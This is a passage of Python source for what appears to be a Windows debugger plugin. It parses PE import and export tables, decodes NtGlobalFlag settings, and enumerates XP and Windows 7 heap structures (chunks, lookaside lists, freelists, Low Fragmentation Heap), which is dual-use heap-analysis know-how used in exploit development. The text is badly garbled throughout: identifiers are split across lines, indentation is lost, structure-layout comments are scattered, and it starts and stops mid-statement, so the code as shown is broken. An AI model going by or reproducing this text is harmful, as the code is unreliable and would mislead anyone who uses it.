thisfuncname = thisfuncfullname.split('.')
IAT[thisloc] = thisfuncname[1].strip(">")
else:
IAT[thisloc] = imagename + "!0x%08x" % iatEntry
else:
IAT[thisloc] = t
hisfuncfullname.replace(".","!")
iatcnt += 1
if len(IAT) == 0:
#search method nr 2, not accurate, but w
ill find *something*
funccalls = self.getFunctionCalls()
for functype in funccalls:
for fptr in funccalls[functype]:
ptr=struct.unpack('<L',d
bg.readMemory(fptr+2,4))[0]
if ptr >= self.moduleBas
e and ptr <= self.moduleTop:
if not ptr in IA
T:
thisfunc
= dbglib.Function(dbg,ptr)
thisfunc
fullname = thisfunc.getName().lower()
thisfunc
name = []
if thisf
uncfullname.endswith(".unknown") or thisfuncfullname.endswith(".%08x" % ptr):
iatptr = struct.unpack('<L',dbg.readMemory(ptr,4))[0]
# see if we can find the original function name using the EAT
tptr = MnPointer(ptr)
modname = tptr.belongsTo()
tmod = MnModule(modname)
ofullname = thisfuncfullname
if not tmod is None:

imagename = tmod.getShortName()
eatlist = tmod.getEAT()
if iatptr in eatlist:
thisfuncfullname = "." + imagename + "!" + eatlist[iatptr]
if thisfuncfullname == ofullname:
tparts = thisfuncfullname.split('.')
thisfuncfullname = tparts[0] + (".%08x" % iatptr)
thisfunc
name = thisfuncfullname.split('.')
IAT[ptr]
= thisfuncname[1].strip(">")
self.IAT = IAT
else:
IAT = self.IAT
except:
import traceback
dbg.logLines(traceback.format_exc())
return IAT
return IAT
def getEAT(self):
eatlist = {}
if len(self.EAT) == 0:
try:
# avoid major suckage, let's do it ourselves
# find optional header
PEHeader_ref = self.moduleBase + 0x3c
PEHeader_location = self.moduleBase + struct.unp
ack('<L',dbg.readMemory(PEHeader_ref,4))[0]
# do we have an optional header ?
bsizeOfOptionalHeader = dbg.readMemory(PEHeader_
location+0x14,2)
sizeOfOptionalHeader = struct.unpack('<L',bsizeO
fOptionalHeader+"\x00\x00")[0]
OptionalHeader_location = PEHeader_location + 0x
18
if sizeOfOptionalHeader > 0:
# get address of DataDirectory
DataDirectory_location = OptionalHeader_
location + 0x60
# get size of Export Table
exporttable_size = struct.unpack('<L',db
g.readMemory(DataDirectory_location+4,4) )[0]
exporttable_rva = struct.unpack('<L',dbg
.readMemory(DataDirectory_location,4) )[0]
if exporttable_size > 0:
# get start of export table
eatAddr = self.moduleBase + expo
rttable_rva
nr_of_names = struct.unpack('<L'
,dbg.readMemory(eatAddr + 0x18,4))[0]

rva_of_names = self.moduleBase +
struct.unpack('<L',dbg.readMemory(eatAddr + 0x20,4))[0]
address_of_functions = self.mod
uleBase + struct.unpack('<L',dbg.readMemory(eatAddr + 0x1c,4))[0]
for i in range(0, nr_of_names):
eatName = dbg.readString
(self.moduleBase + struct.unpack('<L',dbg.readMemory(rva_of_names + (4 * i),4))[
0])
eatAddress = self.module
Base + struct.unpack('<L',dbg.readMemory(address_of_functions + (4 * i),4))[0]
eatlist[eatAddress] = ea
tName
self.EAT = eatlist
except:
return eatlist
else:
eatlist = self.EAT
return eatlist
def getShortName(self):
return stripExtension(self.moduleKey)
def getNtGlobalFlag():
pebaddress = dbg.getPEBAddress()
global NtGlobalFlag
if NtGlobalFlag == -1:
try:
NtGlobalFlag = struct.unpack('<L',dbg.readMemory(pebaddr
ess+0x068,4))[0]
except:
NtGlobalFlag = 0
return NtGlobalFlag
def getNtGlobalFlagDefinitions():
definitions = {}
definitions[0x0]

= ["","No GFlags enabled"]

definitions[0x00000001]
definitions[0x00000002]
definitions[0x00000004]
definitions[0x00000008]

=
=
=
=

["soe",
["sls",
["dic",
["shg",

"Stop On Execute"]
"Show Loader Snaps"]
"Debug Initial Command"]
"Stop On Hung GUI"]

definitions[0x00000010]
definitions[0x00000020]
definitions[0x00000040]
definitions[0x00000080]

=
=
=
=

["htc",
["hfc",
["hpc",
["hvc",

"Enable
"Enable
"Enable
"Enable

Heap
Heap
Heap
Heap

Tail Checking"]
Free Checking"]
Parameter Checking"]
Validation On Call"]

definitions[0x00000100] = ["vrf", "Enable Application Verifier"]


definitions[0x00000200] = [" ", "Enable Silent Process Exit Monitoring
"]
if not win7mode:
definitions[0x00000400] = ["ptg", "Enable Pool Tagging"]
definitions[0x00000800] = ["htg", "Enable Heap Tagging"]
definitions[0x00001000] = ["ust", "Create User Mode Stack Trace"]
definitions[0x00002000] = ["kst", "Create Kernel Mode Stack Trace"]
definitions[0x00004000] = ["otl", "Maintain A List Of Objects For Each T

ype"]
definitions[0x00008000] = ["htd", "Enable Heap Tagging By DLL"]
definitions[0x00010000] = ["dse", "Disable Stack Extension"]
definitions[0x00020000] = ["d32", "Enable Debugging Of Win32 Subsystem"]
definitions[0x00040000] = ["ksl", "Enable Loading Of Kernel Debugger Sym
bols"]
definitions[0x00080000] = ["dps", "Disable Paging Of Kernel Stacks"]
definitions[0x00100000]
definitions[0x00200000]
definitions[0x00400000]
definitions[0x00800000]

=
=
=
=

["scb",
["dhc",
["ece",
["eel",

"Enable System Critical Breaks"]


"Disable Heap Coalesce On Free"]
"Enable Close Exception"]
"Enable Exception Logging"]

definitions[0x01000000]
definitions[0x02000000]
definitions[0x04000000]
definitions[0x08000000]

=
=
=
=

["eot",
["hpa",
["dwl",
["ddp",

"Early Object Handle Type Tagging"]


"Enable Page Heap"]
"Debug WinLogon"]
"Buffer DbgPrint Output"]

definitions[0x10000000] = ["cse", "Early Critical Section Event Creation


"]
definitions[0x40000000] = ["bhd", "Disable Bad Handles Detection"]
definitions[0x80000000] = ["dpd", "Disable Protected DLL Verification"]
return definitions

def getNtGlobalFlagValues(flag):
allvalues = []
for defvalue in getNtGlobalFlagDefinitions():
if defvalue > 0:
allvalues.append(defvalue)
# sort list descending
allvalues.sort(reverse=True)
flagvalues = []
remaining = flag
for flagvalue in allvalues:
if flagvalue <= remaining:
remaining -= flagvalue
if remaining >= 0:
flagvalues.append(flagvalue)
return flagvalues
def getNtGlobalFlagNames(flag):
names = []
allvalues = getNtGlobalFlagDefinitions()
currentvalues = getNtGlobalFlagValues(flag)
for defvalue in currentvalues:
if defvalue > 0:
names.append(allvalues[defvalue][0])
return names
def getNtGlobalFlagValueData(flagvalue):
toreturn = ["",""]
if flagvalue in getNtGlobalFlagDefinitions():
toreturn = getNtGlobalFlagDefinitions()[flagvalue]
return toreturn

def getActiveFlagNames(flagvalue):
currentflags = getNtGlobalFlagValues(flagvalue)
flagdefs = getNtGlobalFlagDefinitions()
flagnames = []
if len(currentflags) == 0:
currentflags = [0]
for flag in currentflags:
if flag in flagdefs:
flagdata = flagdefs[flag]
flagnames.append(flagdata[0])
return ",".join(flagnames)
def getNtGlobalFlagValueName(flagvalue):
data = getNtGlobalFlagValueData(flagvalue)
toreturn = ""
if data[0] != "":
toreturn += "+" + data[0]
else:
toreturn += "
"
toreturn += " - "
toreturn += data[1]
return toreturn
#---------------------------------------#
# Class for heap structures
#
#---------------------------------------#
class MnHeap:
"""
Class for heap structures
"""
heapbase = 0
EncodeFlagMask = 0
Encoding = 0
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#

_HEAP
Windows XP
---------+0x000 Entry
: _HEAP_ENTRY
+0x008 Signature
: Uint4B
+0x00c Flags
: Uint4B
+0x010 ForceFlags
: Uint4B
+0x014 VirtualMemoryThreshold : Uint4B
+0x018 SegmentReserve : Uint4B
+0x01c SegmentCommit
: Uint4B
+0x020 DeCommitFreeBlockThreshold : Uint4B
+0x024 DeCommitTotalFreeThreshold : Uint4B
+0x028 TotalFreeSize
: Uint4B
+0x02c MaximumAllocationSize : Uint4B
+0x030 ProcessHeapsListIndex : Uint2B
+0x032 HeaderValidateLength : Uint2B
+0x034 HeaderValidateCopy : Ptr32 Void
+0x038 NextAvailableTagIndex : Uint2B
+0x03a MaximumTagIndex : Uint2B
+0x03c TagEntries
: Ptr32 _HEAP_TAG_ENTRY
+0x040 UCRSegments
: Ptr32 _HEAP_UCR_SEGMENT
+0x044 UnusedUnCommittedRanges : Ptr32 _HEAP_UNCOMMMTTED_RANGE
+0x048 AlignRound
: Uint4B
+0x04c AlignMask
: Uint4B

#
#
#
#
#
#
#
#
#
#
#
#
#
#
#

+0x050
+0x058
+0x158
+0x168
+0x16a
+0x16c
+0x170
+0x174
+0x178
+0x578
+0x57c
+0x580
+0x584
+0x586
+0x587

VirtualAllocdBlocks : _LIST_ENTRY
Segments
: [64] Ptr32 _HEAP_SEGMENT
u
: __unnamed
u2
: __unnamed
AllocatorBackTraceIndex : Uint2B
NonDedicatedListLength : Uint4B
LargeBlocksIndex : Ptr32 Void
PseudoTagEntries : Ptr32 _HEAP_PSEUDO_TAG_ENTRY
FreeLists
: [128] _LIST_ENTRY
LockVariable
: Ptr32 _HEAP_LOCK
CommitRoutine
: Ptr32
long
FrontEndHeap
: Ptr32 Void
FrontHeapLockCount : Uint2B
FrontEndHeapType : UChar
LastSegmentIndex : UChar

#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#

Windows 7
--------+0x000 Entry
: _HEAP_ENTRY
+0x008 SegmentSignature : Uint4B
+0x00c SegmentFlags
: Uint4B
+0x010 SegmentListEntry : _LIST_ENTRY
+0x018 Heap
: Ptr32 _HEAP
+0x01c BaseAddress
: Ptr32 Void
+0x020 NumberOfPages
: Uint4B
+0x024 FirstEntry
: Ptr32 _HEAP_ENTRY
+0x028 LastValidEntry : Ptr32 _HEAP_ENTRY
+0x02c NumberOfUnCommittedPages : Uint4B
+0x030 NumberOfUnCommittedRanges : Uint4B
+0x034 SegmentAllocatorBackTraceIndex : Uint2B
+0x036 Reserved
: Uint2B
+0x038 UCRSegmentList : _LIST_ENTRY
+0x040 Flags
: Uint4B
+0x044 ForceFlags
: Uint4B
+0x048 CompatibilityFlags : Uint4B
+0x04c EncodeFlagMask : Uint4B
+0x050 Encoding
: _HEAP_ENTRY
+0x058 PointerKey
: Uint4B
+0x05c Interceptor
: Uint4B
+0x060 VirtualMemoryThreshold : Uint4B
+0x064 Signature
: Uint4B
+0x068 SegmentReserve : Uint4B
+0x06c SegmentCommit
: Uint4B
+0x070 DeCommitFreeBlockThreshold : Uint4B
+0x074 DeCommitTotalFreeThreshold : Uint4B
+0x078 TotalFreeSize
: Uint4B
+0x07c MaximumAllocationSize : Uint4B
+0x080 ProcessHeapsListIndex : Uint2B
+0x082 HeaderValidateLength : Uint2B
+0x084 HeaderValidateCopy : Ptr32 Void
+0x088 NextAvailableTagIndex : Uint2B
+0x08a MaximumTagIndex : Uint2B
+0x08c TagEntries
: Ptr32 _HEAP_TAG_ENTRY
+0x090 UCRList
: _LIST_ENTRY
+0x098 AlignRound
: Uint4B
+0x09c AlignMask
: Uint4B
+0x0a0 VirtualAllocdBlocks : _LIST_ENTRY
+0x0a8 SegmentList
: _LIST_ENTRY
+0x0b0 AllocatorBackTraceIndex : Uint2B
+0x0b4 NonDedicatedListLength : Uint4B

#
#
#
#
#
#
#
#
#
#
#

+0x0b8
+0x0bc
+0x0c0
+0x0c4
+0x0cc
+0x0d0
+0x0d4
+0x0d8
+0x0da
+0x0dc
+0x130

BlocksIndex
:
UCRIndex
:
PseudoTagEntries :
FreeLists
:
LockVariable
:
CommitRoutine
:
FrontEndHeap
:
FrontHeapLockCount
FrontEndHeapType :
Counters
:
TuningParameters :

Ptr32 Void
Ptr32 Void
Ptr32 _HEAP_PSEUDO_TAG_ENTRY
_LIST_ENTRY
Ptr32 _HEAP_LOCK
Ptr32
long
Ptr32 Void
: Uint2B
UChar
_HEAP_COUNTERS
_HEAP_TUNING_PARAMETERS

def __init__(self,address):
self.heapbase = address
self.VirtualAllocdBlocks = {}
self.LookAsideList = {}
self.SegmentList = {}
self.lalheads = {}
self.Encoding = 0
self.FrontEndHeap = 0
return None
def getEncodingKey(self):
"""
Retrieves the Encoding key from the current heap
Return: Int, containing the Encoding key (on Windows 7 and up)
or zero on older Operating Systems
"""
if win7mode:
self.EncodeFlagMask = struct.unpack('<L',dbg.readMemory(
self.heapbase+0x4c,4))[0]
if self.EncodeFlagMask == 0x100000:
self.Encoding = struct.unpack('<L',dbg.readMemor
y(self.heapbase+0x50,4))[0]
return self.Encoding
def getHeapChunkHeaderAtAddress(self,thischunk,headersize=8,type="chunk"
):
"""
Will convert the bytes placed at a certain address into an MnChu
nk object
"""
key = self.getEncodingKey()
fullheaderbin = ""
if type == "chunk" or type == "lal" or type == "freelist":
chunktype = "chunk"
if key == 0 and not win7mode:
fullheaderbin = dbg.readMemory(thischunk,headers
ize)
else:
fullheaderbin = decodeHeapHeader(thischunk,heade
rsize,key)
# if we have heap corruption, thischunk may not be a rea
dable address
# so fullheaderbin would be empty
if len(fullheaderbin) == headersize:

sizebytes = fullheaderbin[0:2]
thissize = struct.unpack('<H',sizebytes)[0]
prevsize = 0
segmentid = 0
flag = 0
unused = 0
tag = 0
if key == 0 and not win7mode:
prevsize = struct.unpack('<H',fullheader
bin[2:4])[0]
segmentid = struct.unpack('<B',fullheade
rbin[4:5])[0]
flag = struct.unpack('<B',fullheaderbin[
5:6])[0]
unused = struct.unpack('<B',fullheaderbi
n[6:7])[0]
tag = struct.unpack('<B',fullheaderbin[7
:8])[0]
else:
flag = struct.unpack('<B',fullheaderbin[
2:3])[0]
tag = struct.unpack('<B',fullheaderbin[3
:4])[0]
prevsize = struct.unpack('<H',fullheader
bin[4:6])[0]
segmentid = struct.unpack('<B',fullheade
rbin[6:7])[0]
unused = struct.unpack('<B',fullheaderbi
n[7:8])[0]
flink = 0
blink = 0
if type == "lal" or type == "freelist":
flink = struct.unpack('<L',dbg.readMemor
y(thischunk+headersize,4))[0]
if type == "freelist":
blink = struct.unpack('<L',dbg.readMemor
y(thischunk+headersize+4,4))[0]
return MnChunk(thischunk,chunktype,headersize,se
lf.heapbase,0,thissize,prevsize,segmentid,flag,unused,tag,flink,blink)
else:
return MnChunk(thischunk,chunktype,headersize,se
lf.heapbase,0,0,0,0,0,0,0,0,0)
return None
def getFrontEndHeap(self):
"""
Returns the value of the FrontEndHeap field in the heapbase
"""
if not win7mode:
return struct.unpack('<L',dbg.readMemory(self.heapbase +
0x580,4))[0]
if win7mode:
return struct.unpack('<L',dbg.readMemory(self.heapbase +
0x0d4,4))[0]

def getFrontEndHeapType(self):
"""
Returns the value of the FrontEndHeapType field in the heapbase
"""
if win7mode:
return struct.unpack('<H',dbg.readMemory(self.heapbase+0
xda,2))[0]
if not win7mode:
return struct.unpack('B',dbg.readMemory(self.heapbase+0x
586,1))[0]
def getLookAsideHead(self):
"""
Returns the LookAside List Head as a dictionary of dictionaries
"""
if not win7mode:
self.FrontEndHeap = self.getFrontEndHeap()
self.FrontEndHeapType = self.getFrontEndHeapType()
if self.FrontEndHeap > 0 and self.FrontEndHeapType == 0x
1 and len(self.lalheads) == 0:
lalindex = 0
startloc = self.FrontEndHeap
while lalindex < 128:
thisptr = self.FrontEndHeap + (0x30 * la
lindex)
lalheadfields = {}
# read the next 0x30 bytes and break dow
n into lal head elements
lalheadbin = dbg.readMemory(thisptr,0x30
)
lalheadfields["Next"] = struct.unpack('<
L',lalheadbin[0:4])[0]
lalheadfields["Depth"] = struct.unpack('
<H',lalheadbin[4:6])[0]
lalheadfields["Sequence"] = struct.unpac
k('<H',lalheadbin[6:8])[0]
lalheadfields["Depth2"] = struct.unpack(
'<H',lalheadbin[8:0xa])[0]
lalheadfields["MaximumDepth"] = struct.u
npack('<H',lalheadbin[0xa:0xc])[0]
lalheadfields["TotalAllocates"] = struct
.unpack('<L',lalheadbin[0xc:0x10])[0]
lalheadfields["AllocateMisses"] = struct
.unpack('<L',lalheadbin[0x10:0x14])[0]
lalheadfields["AllocateHits"] = struct.u
npack('<L',lalheadbin[0x10:0x14])[0]
lalheadfields["TotalFrees"] = struct.unp
ack('<L',lalheadbin[0x14:0x18])[0]
lalheadfields["FreeMisses"] = struct.unp
ack('<L',lalheadbin[0x18:0x1c])[0]
lalheadfields["FreeHits"] = struct.unpac
k('<L',lalheadbin[0x18:0x1c])[0]
lalheadfields["Type"] = struct.unpack('<
L',lalheadbin[0x1c:0x20])[0]
lalheadfields["Tag"] = struct.unpack('<L
',lalheadbin[0x20:0x24])[0]
lalheadfields["Size"] = struct.unpack('<
L',lalheadbin[0x24:0x28])[0]
lalheadfields["Allocate"] = struct.unpac
k('<L',lalheadbin[0x28:0x2c])[0]

lalheadfields["Free"] = struct.unpack('<
L',lalheadbin[0x2c:0x30])[0]
self.lalheads[lalindex] = lalheadfields
lalindex += 1
return self.lalheads
def showLookAsideHead(self,lalindex):
if len(self.lalheads) == 0:
self.getLookAsideHead()
if lalindex in self.lalheads:
thislalhead = self.lalheads[lalindex]
dbg.log(" Next: 0x%08x" % thislalhead["Next"])
dbg.log(" Depth: 0x%04x" % thislalhead["Depth"])
dbg.log(" Sequence: 0x%04x" % thislalhead["Sequence"])
dbg.log(" Depth2: 0x%04x" % thislalhead["Depth2"])
dbg.log(" MaximumDepth: 0x%04x" % thislalhead["MaximumD
epth"])
dbg.log(" TotalAllocates: 0x%08x" % thislalhead["TotalA
llocates"])
dbg.log(" AllocateMisses/AllocateHits: 0x%08x" % thisla
lhead["AllocateMisses"])
dbg.log(" TotalFrees: 0x%08x" % thislalhead["TotalFrees
"])
dbg.log(" FreeMisses/FreeHits: 0x%08x" % thislalhead["F
reeMisses"])
dbg.log("
dbg.log("
dbg.log("
dbg.log("
dbg.log("

Type 0x%08x" % thislalhead["Type"])


Tag: 0x%08x" % thislalhead["Tag"])
Size: 0x%08x" % thislalhead["Size"])
Allocate: 0x%08x" % thislalhead["Allocate"])
Free: 0x%08x" % thislalhead["AllocateMisses"]

)
return
def getLookAsideList(self):
"""
Retrieves the LookAsideList (if enabled) for the current heap
Returns : a dictionary, key = LAL index
Each element in the dictionary contains a dictionary, using a se
quence nr as key,
and each element in this dictionary contains an MnChunk obje
ct
"""
lal = {}
if not win7mode:
self.FrontEndHeap = self.getFrontEndHeap()
self.FrontEndHeapType = self.getFrontEndHeapType()
if self.FrontEndHeap > 0 and self.FrontEndHeapType == 0x
1:
lalindex = 0
startloc = self.FrontEndHeap
while lalindex < 128:
thisptr = self.FrontEndHeap + (0x30 * la
lindex)
lalhead_flink = struct.unpack('<L',dbg.r
eadMemory(thisptr,4))[0]
if lalhead_flink != 0:
thissize = (lalindex * 8)
next_flink = lalhead_flink
seqnr = 0
thislal = {}

while next_flink != 0 and next_f


link != startloc:
chunk = self.getHeapChun
kHeaderAtAddress(next_flink-8,8,"lal")
next_flink = chunk.flink
thislal[seqnr] = chunk
seqnr += 1
lal[lalindex] = thislal
lalindex += 1
return lal
def getFreeListInUseBitmap(self):
global FreeListBitmap
if not self.heapbase in FreeListBitmap:
FreeListBitmapHeap = []
cnt = 0
while cnt < 4:
fldword = dbg.readLong(self.heapbase+0x158 + (4
* cnt))
bitmapbits = DwordToBits(fldword)
#print "0x%08x : %s (%d)" % (fldword,bitmapbits,
len(bitmapbits))
for thisbit in bitmapbits:
FreeListBitmapHeap.append(thisbit)
cnt += 1
FreeListBitmap[self.heapbase] = FreeListBitmapHeap
return FreeListBitmap[self.heapbase]
def getFreeList(self):
"""
Retrieves the FreeLists (XP/2003) for the current heap
Returns : a dictionary, key = FreeList table index
Each element in the dictionary contains a dictionary, using the
FreeList position as key
and each element in this dictionary contains an MnChunk
object
"""
freelists = {}
if not win7mode:
flindex = 0
while flindex < 128:
freelistflink = self.heapbase + 0x178 + (8 * fli
ndex) + 4
freelistblink = self.heapbase + 0x178 + (8 * fli
ndex)
endchain = False
try:
tblink = struct.unpack('<L',dbg.readMemo
ry(freelistflink,4))[0]
tflink = struct.unpack('<L',dbg.readMemo
ry(freelistblink,4))[0]
origblink = freelistblink
if freelistblink != tblink:
thisfreelist = {}
endchain = False
thisfreelistindex = 0
pflink = 0
while not endchain:
try:

freelistentry =
self.getHeapChunkHeaderAtAddress(tflink-8,8,"freelist")
thisfreelist[thi
sfreelistindex] = freelistentry
thisfreelistinde
x += 1
thisblink = stru
ct.unpack('<L',dbg.readMemory(tflink+4,4))[0]
thisflink = stru
ct.unpack('<L',dbg.readMemory(tflink,4))[0]
tflink=thisflink
if (tflink == or
igblink) or (tflink == pflink):
endchain
= True
pflink = tflink
except:
endchain = True
freelists[flindex] = thisfreelis
t
except:
continue
flindex += 1
return freelists
def getVirtualAllocdBlocks(self):
"""
Retrieves the VirtualAllocdBlocks list from the selected heap
Return: A dictionary, using the start of a virtualallocdblock as
key
Each entry in the dictionary contains a MnChunk object, with chu
nktype set to "virtualalloc"
"""
global VACache
offset = 0x50
if win7mode:
offset = 0xa0
if not self.heapbase in VACache:
try:
# get virtualallocdBlocks for this heap
vaptr = self.heapbase + offset
valistentry = struct.unpack('<L',dbg.readMemory(
vaptr,4))[0]
while valistentry != vaptr:
# get VA Header info
headersize = 0x20
vaheader = dbg.readMemory(valistentry,32
)
flink = struct.unpack('<L',vaheader[0:4]
)[0]
blink = struct.unpack('<L',vaheader[4:8]
)[0]
commitsize = struct.unpack('<L',vaheader
[16:20])[0]
reservesize = struct.unpack('<L',vaheade
r[20:24])[0]
size = struct.unpack('<H',vaheader[24:26
])[0]

prevsize = struct.unpack('<H',vaheader[2
6:28])[0]
segmentid = struct.unpack('<B',vaheader[
28:29])[0]
flag = struct.unpack('<B',vaheader[29:30
])[0]
unused = struct.unpack('<B',vaheader[30:
31])[0]
tag = struct.unpack('<B',vaheader[31:])[
0]
chunkobj = MnChunk(valistentry,"virtuala
lloc",headersize,self.heapbase,0,size,prevsize,segmentid,flag,unused,tag,flink,b
link,commitsize,reservesize)
self.VirtualAllocdBlocks[valistentry] =
chunkobj
valistentry = struct.unpack('<L',dbg.rea
dMemory(valistentry,4))[0]
VACache[self.heapbase] = self.VirtualAllocdBlock
s
except:
pass
else:
self.VirtualAllocdBlocks = VACache[self.heapbase]
return self.VirtualAllocdBlocks
def getHeapSegmentList(self):
"""
Will collect all segments for the current heap object
Return: A dictionary, using the start of a segment as key
Each entry in the dictionary has 4 fields :
start of segment, end of segment, FirstEntry and LastValidEntry
"""
self.SegmentList = getSegmentsForHeap(self.heapbase)
# segstart,segend,firstentry,lastentry
return self.SegmentList
def usesLFH(self):
"""
Checks if the current heap has LFH enabled
Return: Boolean
"""
if win7mode:
frontendheaptype = self.getFrontEndHeapType()
if frontendheaptype == 0x2:
return True
else:
return False
else:
return False
def getLFHAddress(self):
"""
Retrieves the address of the Low Fragmentation Heap for the curr
ent heap
Return: Int
"""
return struct.unpack('<L',dbg.readMemory(self.heapbase+0xd4,4))[

0]
"""
Low Fragmentation Heap
"""
class MnLFH():
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#

+0x000
+0x018
+0x020
+0x024
+0x028
+0x02c
+0x030
+0x034
+0x038
+0x03c
+0x040
+0x048
+0x050
+0x110
+0x310

Lock
: _RTL_CRITICAL_SECTION
SubSegmentZones : _LIST_ENTRY
ZoneBlockSize
: Uint4B
Heap
: Ptr32 Void
SegmentChange
: Uint4B
SegmentCreate
: Uint4B
SegmentInsertInFree : Uint4B
SegmentDelete
: Uint4B
CacheAllocs
: Uint4B
CacheFrees
: Uint4B
SizeInCache
: Uint4B
RunInfo
: _HEAP_BUCKET_RUN_INFO
UserBlockCache : [12] _USER_MEMORY_CACHE_ENTRY
Buckets
: [128] _HEAP_BUCKET
LocalData
: [1] _HEAP_LOCAL_DATA

# blocks : LocalData->SegmentInfos->SubSegments (Mgmt List)->SubSegs


# class attributes
Lock = None
SubSegmentZones = None
ZoneBlockSize = None
Heap = None
SegmentChange = None
SegmentCreate = None
SegmentInsertInFree = None
SegmentDelete = None
CacheAllocs = None
CacheFrees = None
SizeInCache = None
RunInfo = None
UserBlockCache = None
Buckets = None
LocalData = None
def __init__(self,lfhbase):
self.lfhbase = lfhbase
self.populateLFHFields()
return
def populateLFHFields(self):
# read 0x310 bytes and split into pieces
FLHHeader = dbg.readMemory(self.lfhbase,0x310)
self.Lock = FLHHeader[0:0x18]
self.SubSegmentZones = []
self.SubSegmentZones.append(struct.unpack('<L',FLHHeader[0x18:0x
1c])[0])
self.SubSegmentZones.append(struct.unpack('<L',FLHHeader[0x1c:0x
20])[0])
self.ZoneBlockSize = struct.unpack('<L',FLHHeader[0x20:0x24])[0]
self.Heap = struct.unpack('<L',FLHHeader[0x24:0x28])[0]
self.SegmentChange = struct.unpack('<L',FLHHeader[0x28:0x2c])[0]
self.SegmentCreate = struct.unpack('<L',FLHHeader[0x2c:0x30])[0]

self.SegmentInsertInFree = struct.unpack('<L',FLHHeader[0x30:0x3
4])[0]
self.SegmentDelete = struct.unpack('<L',FLHHeader[0x34:0x38])[0]
self.CacheAllocs = struct.unpack('<L',FLHHeader[0x38:0x3c])[0]
self.CacheFrees = struct.unpack('<L',FLHHeader[0x3c:0x40])[0]
self.SizeInCache = struct.unpack('<L',FLHHeader[0x40:0x44])[0]
self.RunInfo = []
self.RunInfo.append(struct.unpack('<L',FLHHeader[0x48:0x4c])[0])
self.RunInfo.append(struct.unpack('<L',FLHHeader[0x4c:0x50])[0])
self.UserBlockCache = []
cnt = 0
while cnt < (12*4):
self.UserBlockCache.append(struct.unpack('<L',FLHHeader[
0x50+cnt:0x54+cnt])[0])
cnt += 4
def getSegmentInfo(self):
# input : self.LocalData
# output : return SubSegment
return
def getSubSegmentList(self):
# input : SubSegment
# output : subsegment mgmt list
return
def getSubSegment(self):
# input : subsegment list
# output : subsegments/blocks
return
"""
MnHeap Childclass
"""
class MnSegment:
def __init__(self,heapbase,segmentstart,segmentend,firstentry=0,lastvali
dentry=0):
self.heapbase = heapbase
self.segmentstart = segmentstart
self.segmentend = segmentend
self.firstentry = segmentstart
self.lastvalidentry = segmentend
if firstentry > 0:
self.firstentry = firstentry
if lastvalidentry > 0:
self.lastvalidentry = lastvalidentry
self.chunks = {}
def getChunks(self):
"""
Enumerate all chunks in the current segment
Output : Dictionary, key = chunkptr
Values : MnChunk objects
chunktype will be set to "chunk"
"""
thischunk = self.firstentry
allchunksfound = False
allchunks = {}
nextchunk = thischunk
cnt = 0

savedprevsize = 0
mHeap = MnHeap(self.heapbase)
key = mHeap.getEncodingKey()
while not allchunksfound:
thissize = 0
prevsize = 0
flag = 0
unused = 0
segmentid = 0
tag = 0
headersize = 0x8
try:
fullheaderbin = ""
if key == 0 and not win7mode:
fullheaderbin = dbg.readMemory(thischunk
,headersize)
else:
fullheaderbin = decodeHeapHeader(thischu
nk,headersize,key)
sizebytes = fullheaderbin[0:2]
thissize = struct.unpack('<H',sizebytes)[0]
if key == 0 and not win7mode:
prevsizebytes = struct.unpack('<H',fullh
eaderbin[2:4])[0]
segmentid = struct.unpack('<B',fullheade
rbin[4:5])[0]
flag = struct.unpack('<B',fullheaderbin[
5:6])[0]
unused = struct.unpack('<B',fullheaderbi
n[6:7])[0]
tag = struct.unpack('<B',fullheaderbin[7
:8])[0]
else:
flag = struct.unpack('<B',fullheaderbin[
2:3])[0]
tag = struct.unpack('<B',fullheaderbin[3
:4])[0]
prevsizebytes = struct.unpack('<H',fullh
eaderbin[4:6])[0]
segmentid = struct.unpack('<B',fullheade
rbin[6:7])[0]
unused = struct.unpack('<B',fullheaderbi
n[7:8])[0]
if savedprevsize == 0:
prevsize = 0
savedprevsize = thissize
else:
prevsize = savedprevsize
savedprevsize = thissize
#prevsize = prevsizebytes
except:
thissize = 0
prevsize = 0
flag = 0

unused = 0
if thissize > 0:
nextchunk = thischunk + (thissize * 8)
else:
nextchunk += headersize
chunktype = "chunk"
if "virtall" in getHeapFlag(flag).lower() or "internal"
in getHeapFlag(flag).lower():
#chunktype = "virtualalloc"
headersize = 0x20
if not thischunk in allchunks and thissize > 0:
mChunk = MnChunk(thischunk,chunktype,headersize,
self.heapbase,self.segmentstart,thissize,prevsize,segmentid,flag,unused,tag)
allchunks[thischunk] = mChunk
thischunk = nextchunk
if nextchunk >= self.lastvalidentry:
allchunksfound = True
if "last" in getHeapFlag(flag).lower():
allchunksfound = True
cnt += 1
self.chunks = allchunks
return allchunks
"""
Chunk class
"""
class MnChunk:
chunkptr = 0
chunktype = ""
headersize = 0
extraheadersize = 0
heapbase = 0
segmentbase = 0
size = 0
prevsize = 0
segment = 0
flag = 0
flags = 0
unused = 0
tag = 0
flink = 0
blink = 0
commitsize = 0
reservesize = 0
remaining = 0
hasust = False
dph_block_information_startstamp = 0
dph_block_information_heap = 0
dph_block_information_requestedsize = 0
dph_block_information_actualsize = 0
dph_block_information_traceindex = 0
dph_block_information_stacktrace = 0
dph_block_information_endstamp = 0

def __init__(self,chunkptr,chunktype,headersize,heapbase,segmentbase,siz
e,prevsize,segment,flag,unused,tag,flink=0,blink=0,commitsize=0,reservesize=0):
self.chunkptr = chunkptr
self.chunktype = chunktype
self.extraheadersize = 0
self.remaining = 0
self.dph_block_information_startstamp = 0
self.dph_block_information_heap = 0
self.dph_block_information_requestedsize = 0
self.dph_block_information_actualsize = 0
self.dph_block_information_traceindex = 0
self.dph_block_information_stacktrace = 0
self.dph_block_information_endstamp = 0
self.hasust = False
# if ust/hpa is enabled, the chunk header is followed by 32bytes
of DPH_BLOCK_INFORMATION header info
currentflagnames = getNtGlobalFlagNames(getNtGlobalFlag())
if "ust" in currentflagnames:
self.hasust = True
if "hpa" in currentflagnames:
self.extraheadersize = 0x20
# reader header info
try:
raw_dph_header = dbg.readMemory(chunkptr + heade
rsize,0x20)
self.dph_block_information_startstamp = struct.u
npack('<L',raw_dph_header[0:4])[0]
self.dph_block_information_heap = struct.unpack(
'<L',raw_dph_header[4:8])[0]
self.dph_block_information_requestedsize = struc
t.unpack('<L',raw_dph_header[8:12])[0]
self.dph_block_information_actualsize = struct.u
